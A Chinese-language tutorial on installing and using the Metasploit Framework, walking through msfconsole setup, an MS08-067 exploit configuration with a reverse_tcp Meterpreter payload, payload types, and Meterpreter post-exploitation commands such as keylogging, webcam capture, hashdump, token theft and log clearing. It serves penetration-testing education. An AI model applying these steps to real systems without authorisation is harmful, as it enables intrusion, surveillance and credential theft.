Metasploit Framework(MSF)是一款開源安全漏洞檢測工具,附帶數千個已知的軟體漏洞,並保持持續更新。Metasploit可以用來資訊收集、漏洞探測、漏洞利用等滲透測試的全流程,被安全社群冠以“可以黑掉整個宇宙”之名。剛開始的Metasploit是採用Perl語言編寫的,但是再後來的新版中,改成了用Ruby語言編寫的了。在kali中,自帶了Metasploit工具。
在一般的linux中,預設是不安裝MSF的。以下是在非kali的Linux下安裝MSF框架。
#一鍵安裝MSF:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
adduser msf #新增msf使用者
su msf #切換到msf使用者
cd /opt/metasploit-framework/bin #切換到msf所在的目錄
./msfconsole #以後啟動msfconsole,都切換到msf使用者下啟動,這樣會同步資料庫。如果使用root使用者啟動的話,不會同步資料庫
#也可以將msfconsole加入到執行目錄下,這樣在任何目錄直接msfconsole就可以了:
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
#備註:
#初次執行msf會建立資料庫,但是msf預設使用的PostgreSQL資料庫不能與root使用者關聯,這也這也就是需要新建使用者msf來執行metasploit的原因所在。如果你一不小心手一抖,初次執行是在root使用者下,請使用 msfdb reinit 命令,然後使用非root使用者初始化資料庫。
# 非kali環境下更新升級MSF:
msfupdate # MSF後期的升級
# kali環境下更新升級MSF:
apt update # 更新安裝包資訊;只檢查,不更新(已安裝的軟體包是否有可用的更新,給出彙總報告)
apt upgrade # 更新已安裝的軟體包,不刪除舊包;
apt full-upgrade # 升級包,刪除舊包
MSF的更新升級:
非kali環境下更新升級MSF:
msfupdate
kali環境下更新升級MSF:
由於kali中的Metasploit滲透測試框架是整合在系統中的,不是單獨安裝,不支援使用msfupdate命令更新,更新的話需要隨系統程式更新。
apt update # 更新安裝包資訊;只檢查,不更新(已安裝的軟體包是否有可用的更新,給出彙總報告)
apt upgrade # 更新已安裝的軟體包,不刪除舊包;
apt full-upgrade # 升級包,刪除舊包
使用上面命令,是在更新系統程式的同時,把MSF更新。
使用方法:
基礎使用:
msfconsole:啟動Metasploit控制檯。
use <模組>:選擇要使用的模組,例如use exploit/windows/smb/ms08_067_netapi。
show options:顯示當前模組的可配置引數。
set <引數> <值>:設定模組的引數值。
exploit:執行已配置的模組並嘗試利用目標系統。
search <關鍵詞>:搜尋可用的模組。
sessions:顯示當前會話列表。
sessions -i <會話ID>:切換到指定的會話。
background:將當前會話置於後臺執行。
use multi/handler:啟動一個監聽器,等待來自攻擊載荷的連線。
set payload <載荷>:設定監聽器使用的攻擊載荷。
run:執行監聽器並等待連線。
設定目標地址:set RHOSTS [目標地址]
設定目標埠:set RPOST 445
設定payload:set payload windows/x64/meterpreter/reverse_tcp
設定本地地址:set LHOST [本地地址]
攻擊:run/exploit
不同的攻擊用到的步驟也不一樣,這不是一成不變的,需要靈活使用.我們也可以將攻擊程式碼寫入configure.rc(只要是以.rc結尾的檔案)配置檔案中,然後使用命令msfconsole -r configure.rc進行自動攻擊!
漏洞利用(exploit):
漏洞利用exploit,也就是我們常說的exp,他就是對漏洞進行攻擊的程式碼。
攻擊載荷(payload):
Payload:Payload中包含攻擊進入目標主機後需要在遠端系統中執行的惡意程式碼,而在Metasploit中Payload是一種特殊模組,它們能夠以漏洞利用模組執行,並能夠利用目標系統中的安全漏洞實施攻擊。簡而言之,這種漏洞利用模組可以訪問目標系統,而其中的程式碼定義了Payload在目標系統中的行為。
Shellcode:Shellcode是payload中的精髓部分,在滲透攻擊時作為攻擊載荷執行的一組機器指令。Shellcode通常用匯編語言編寫。在大多數情況下,目標系統執行了shellcode這一組指令之後,才會提供一個命令列shell
payload模組路徑:
/usr/share/metasploit-framework/modules/payloads
Metasploit中的 Payload 模組主要有以下三種型別:
Single:
是一種完全獨立的Payload,而且使用起來就像執行calc.exe一樣簡單,例如新增一個系統使用者或刪除一份檔案。由於Single Payload是完全獨立的,因此它們有可能會被類似netcat這樣的非metasploit處理工具所捕捉到。
Stager:
這種Payload 負責建立目標使用者與攻擊者之間的網路連線,並下載額外的元件或應用程式。一種常見的Stager Payload就是reverse_tcp,它可以讓目標系統與攻擊者建立一條 tcp 連線,讓目標系統主動連線我們的埠(反向連線)。另一種常見的是bind_tcp,它可以讓目標系統開啟一個tcp監聽器,而攻擊者隨時可以與目標系統進行通訊(正向連線)。
Stage:
是Stager Payload下的一種Payload元件,這種Payload可以提供更加高階的功能,而且沒有大小限制。
在 Metasploit 中,我們可以透過Payload的名稱和使用格式來推斷它的型別:
#Single Payload的格式為:
<target>/ <single> 如:windows/powershell_bind_tcp
#Stager/Stage Payload的格式為:
<target>/ <stage> / <stager> 如:windows/meterpreter/reverse_tcp
當我們在Metasploit中執行 show payloads 命令之後,它會給我們顯示一個可使用的Payload列表,在這個列表中,像 windows/powershell_bind_tcp 就是一個Single Payload,它不包含Stage Payload。而windows/meterpreter/reverse_tcp 則由一個Stage Payload(meterpreter)和 一個Stager Payload(reverse_tcp)組成。
Stager中幾種常見的payload:
windows/meterpreter/bind_tcp #正向連線
windows/meterpreter/reverse_tcp #反向連線,常用
windows/meterpreter/reverse_http #透過監聽80埠反向連線
windows/meterpreter/reverse_https #透過監聽443埠反向連線
後滲透階段:
執行了exploit命令之後,我們開啟了一個reverse TCP監聽器來監聽本地的埠,即我(攻擊者)的本地主機地址(LHOST)和埠號(LPORT)。執行成功之後,我們將會看到命令提示符 meterpreter > 出現:
Meterpreter的命令用法:
Meterpreter > ?
==========================================
核心命令:
==========================================
命令 說明
------- ------------
? 幫助選單
background 把當前會話掛到後臺執行
bg background命令的別名
bgkill 殺死後臺meterpreter 指令碼
bglist 列出正在執行的後臺指令碼
bgrun 執行一個meterpreter指令碼作為後臺執行緒
channel 顯示資訊或控制活動頻道
close 關閉一個頻道
detach 分離Meterpreter會話(用於 http/https)
disable_unicode_encoding 禁用 unicode 字串的編碼
enable_unicode_encoding 啟用 unicode 字串的編碼
exit 終止 Meterpreter 會話
get_timeouts 獲取當前會話超時值
guid 獲取會話 GUID
help 幫助選單
info 顯示有關 Post 模組的資訊
irb 在當前會話中開啟一個互動式 Ruby shell
load 載入一個或多個 Meterpreter 擴充套件
machine_id 獲取連線到會話的機器的 MSF ID
migrate 將伺服器遷移到另一個程序
pivot 管理樞軸偵聽器
pry 在當前會話上開啟 Pry 偵錯程式
quit 終止 Meterpreter 會話
read 從通道讀取資料
resource 執行儲存在檔案中的命令
run 執行一個 Meterpreter 指令碼或 Post 模組
secure (重新)協商會話上的 TLV 資料包加密
sessions 快速切換到另一個會話
set_timeouts 設定當前會話超時值
sleep 強制 Meterpreter 安靜,然後重新建立會話
ssl_verify 修改 SSL 證書驗證設定
transport 管理運輸機制
use 不推薦使用的load命令別名
uuid 獲取當前會話的 UUID
write 將資料寫入通道
==========================================
Stdapi:檔案系統命令
==========================================
命令 說明
------- ------------
cat 將檔案內容讀到螢幕上
cd 切換目錄
checksum 檢索檔案的校驗和
cp 將源複製到目標
del 刪除指定檔案
dir 列出檔案(ls 的別名)
download 下載檔案或目錄
edit 編輯檔案
getlwd 列印本地工作目錄
getwd 列印工作目錄
lcd 更改本地工作目錄
lls 列出本地檔案
lpwd 列印本地工作目錄
ls 列出檔案
mkdir 製作目錄
mv 將源移動到目標
pwd 列印工作目錄
rm 刪除指定檔案
rmdir 刪除目錄
search 搜尋檔案
show_mount 列出所有掛載點/邏輯驅動器
upload 上傳檔案或目錄
==========================================
Stdapi:網路命令
==========================================
命令 說明
------- ------------
arp 顯示主機 ARP 快取
getproxy 顯示當前代理配置
ifconfig 顯示介面
ipconfig 顯示介面
netstat 顯示網路連線
portfwd 將本地埠轉發到遠端服務
resolve 解析目標上的一組主機名
route 檢視和修改路由表
==========================================
Stdapi:系統命令
==========================================
命令 說明
------- ------------
clearev 清除事件日誌
drop_token 放棄任何活動的模擬令牌。
execute 執行命令
getenv 獲取一個或多個環境變數值
getpid 獲取當前程序識別符號
getprivs 嘗試啟用當前程序可用的所有許可權
getid 獲取伺服器執行的使用者的 SID
getuid 獲取伺服器執行的使用者
kill 終止程序
localtime 顯示目標系統本地日期和時間
pgrep 按名稱過濾程序
pkill 按名稱終止程序
ps 列出正在執行的程序
reboot 重啟遠端計算機
reg 修改遠端登錄檔並與之互動
rev2self 在遠端機器上呼叫 RevertToSelf()
shell 放入系統命令 shell
shutdown 關閉遠端計算機
steal_token 嘗試從目標程序竊取模擬令牌
suspend 暫停或恢復程序列表
sysinfo 獲取有關遠端系統的資訊,例如 OS
==========================================
Stdapi:使用者介面命令
==========================================
命令 說明
------- ------------
enumdesktops 列出所有可訪問的桌面和視窗站
getdesktop 獲取當前的meterpreter桌面
idletime 返回遠端使用者空閒的秒數
keyboard_send 傳送擊鍵
keyevent 傳送按鍵事件
keyscan_dump 轉儲擊鍵緩衝區
keyscan_start 開始捕獲擊鍵
keyscan_stop 停止捕獲擊鍵
mouse 傳送滑鼠事件
screenshare 實時觀看遠端使用者桌面
screenshot 抓取互動式桌面的截圖
setdesktop 更改meterpreters當前桌面
uictl 控制一些使用者介面元件
==========================================
Stdapi:網路攝像頭命令:
==========================================
命令 說明
------- ------------
record_mic 從預設麥克風錄製音訊 X 秒
webcam_chat 開始影片聊天
webcam_list 列出網路攝像頭
webcam_snap 從指定的網路攝像頭拍攝快照
webcam_stream 從指定的網路攝像頭播放影片流
==========================================
Stdapi:音訊輸出命令:
==========================================
命令 說明
------- ------------
play 在目標系統上播放波形音訊檔案 (.wav)
==========================================
Priv:許可權提升命令:
==========================================
命令 說明
------- ------------
getsystem 嘗試將您的許可權提升到本地系統的許可權。
==========================================
Priv:密碼資料庫命令:
==========================================
命令 說明
------- ------------
hashdump 轉儲 SAM 資料庫的內容
==========================================
Priv:Timestomp 命令:
==========================================
命令 說明
------- ------------
timestomp 操作檔案 MACE 屬性
我們輸入: shell即可切換到目標主機的windows cmd_shell裡面:
shell #獲取目標主機的cmd_shell許可權
chcp 65001 #這裡為了避免目標主機cmd_shell字元亂碼,設定目標主機命令列的字元編碼,65001是UTF-8
要想從目標主機shell退出到meterpreter ,我們只需輸入:exit
從meterpreter退出到MSF框架:background #把我們獲得的meterpreter會話掛載到後臺執行
參考:https://blog.csdn.net/weixin_45588247/article/details/119614618
https://blog.csdn.net/2301_78006725/article/details/132634238